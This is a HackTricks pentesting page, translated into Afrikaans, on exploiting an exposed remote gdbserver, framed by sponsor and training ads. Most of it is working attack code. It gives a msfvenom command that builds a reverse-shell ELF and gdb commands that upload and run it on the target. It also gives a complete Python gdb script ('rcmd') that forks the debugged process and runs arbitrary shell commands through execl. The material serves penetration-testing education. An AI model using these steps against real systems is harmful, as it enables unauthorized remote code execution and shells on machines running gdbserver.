# Pentesting Remote GdbServer

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* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest vanaf enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.

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## **Basiese Inligting**

**gdbserver** is 'n gereedskap wat die foutopsporing van programme op afstand moontlik maak. Dit loop saam met die program wat foutopsporing benodig op dieselfde stelsel, bekend as die "teiken." Hierdie opstelling laat die **GNU Debugger** toe om van 'n ander masjien, die "gasheer," te verbind, waar die bronskode en 'n binêre kopie van die gefouteerde program gestoor word. Die verbinding tussen **gdbserver** en die debugger kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige foutopsporing opstellings moontlik maak.

Jy kan 'n **gdbserver laat luister op enige poort** en op die oomblik **kan nmap nie die diens herken nie**.

## Exploitatie

### Laai op en Voer uit

Jy kan maklik 'n **elf backdoor met msfvenom** skep, dit op laai en uitvoer:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```
### Voer arbitrêre opdragte uit

Daar is 'n ander manier om die **debugger te laat uitvoer arbitrêre opdragte via 'n** [**python pasgemaakte skrif geneem van hier**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```
Eerstens **skep plaaslik hierdie skrip**:

{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
```
{% endcode %}

<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

**Dadelijk beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap en funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing- & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Ondersteun HackTricks</summary>

* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}